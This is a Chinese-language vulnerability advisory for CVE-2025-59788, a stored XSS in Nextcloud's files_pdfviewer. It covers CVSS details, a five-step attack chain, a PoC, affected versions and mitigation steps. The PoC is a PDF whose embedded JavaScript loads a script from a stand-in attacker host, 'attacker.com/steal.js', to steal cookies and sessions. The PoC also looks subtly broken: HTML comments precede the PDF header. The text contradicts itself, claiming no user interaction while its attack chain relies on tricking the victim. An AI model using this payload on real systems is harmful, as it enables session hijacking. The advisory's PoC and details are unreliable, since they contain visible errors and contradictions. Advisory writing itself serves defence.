CVE-2025-59788 Nextcloud files_pdfviewer存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-59788

漏洞类型

XSS (跨站脚本攻击)

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Nextcloud

漏洞概述

CVE-2025-59788是Nextcloud中一个存储型跨站脚本（XSS）漏洞。该漏洞存在于files_pdfviewer组件的示例目录中，攻击者可以通过上传精心构造的PDF文件到viewer.html，在受害用户浏览器中执行任意JavaScript代码。此漏洞与CVE-2024-4367相关，但根本原因在于Nextcloud在同源基础上暴露了可执行的示例代码。攻击者利用此漏洞可以窃取用户会话Cookie、劫持用户账户、执行未经授权的操作，甚至进一步渗透内部系统。由于该漏洞无需用户交互即可触发（UI:N），且可通过网络远程利用（AV:N），对Nextcloud实例构成中等程度的安全威胁。受影响的版本覆盖22.x至32.x多个版本分支。

技术细节

该漏洞的根本原因在于Nextcloud的files_pdfviewer组件在安装时保留了示例代码目录，且这些示例代码在同源环境下可被直接访问和执行。当用户通过Nextcloud的PDF查看器打开一个包含恶意JavaScript代码的PDF文件时，viewer.html会解析并执行PDF中嵌入的脚本内容。攻击者首先需要将恶意PDF文件上传到Nextcloud服务器，然后诱使受害用户打开该文件。由于Nextcloud的PDF查看器直接渲染PDF内容且缺乏足够的输入过滤和输出编码，PDF中的JavaScript代码会在受害用户的浏览器上下文中以当前域名执行，从而实现XSS攻击。攻击者可以利用此漏洞获取用户的认证令牌、访问敏感数据或执行其他恶意操作。此漏洞的CVSS向量显示攻击复杂度低（AC:L）且需要低权限（PR:L），意味着具有一定文件上传权限的普通用户即可实施攻击。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意JavaScript代码的PDF文件，利用PDF查看器的脚本执行功能

STEP 2

步骤2

攻击者将恶意PDF文件上传到目标Nextcloud服务器（需要低权限用户账号）

STEP 3

步骤3

攻击者通过社交工程手段诱使受害用户点击或预览该PDF文件

STEP 4

步骤4

受害用户的浏览器通过Nextcloud的viewer.html加载PDF文件，触发恶意JavaScript执行

STEP 5

步骤5

恶意脚本在受害用户浏览器上下文中执行，可窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-59788 PoC: Malicious PDF with embedded JavaScript -->
<!-- This PoC demonstrates the XSS vulnerability in Nextcloud files_pdfviewer -->
<!-- Save this as malicious.pdf and upload to Nextcloud -->

<!-- PDF with JavaScript payload -->
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 3 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [4 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Action /S /JavaScript /JS (var script = document.createElement('script'); script.src = 'https://attacker.com/steal.js'; document.head.appendChild(script);) >>
endobj
4 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000214 00000 n
trailer
<< /Size 5 /Root 1 0 R >>
startxref
307
%%EOF

影响范围

Nextcloud < 22.2.10.33

Nextcloud < 23.0.12.29

Nextcloud < 24.0.12.28

Nextcloud < 25.0.13.23

Nextcloud < 26.0.13.20

Nextcloud < 27.1.11.20

Nextcloud < 28.0.14.11

Nextcloud < 29.0.16.8

Nextcloud < 30.0.17

Nextcloud < 31.0.10

Nextcloud < 32.0.1

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时缓解措施：1）禁用files_pdfviewer应用的示例目录访问权限；2）通过Web应用防火墙（WAF）规则过滤PDF中的JavaScript代码；3）限制PDF文件预览功能，仅允许通过安全的沙箱环境打开；4）对文件上传功能实施严格的内容类型验证；5）监控和审计文件上传行为，及时发现异常活动。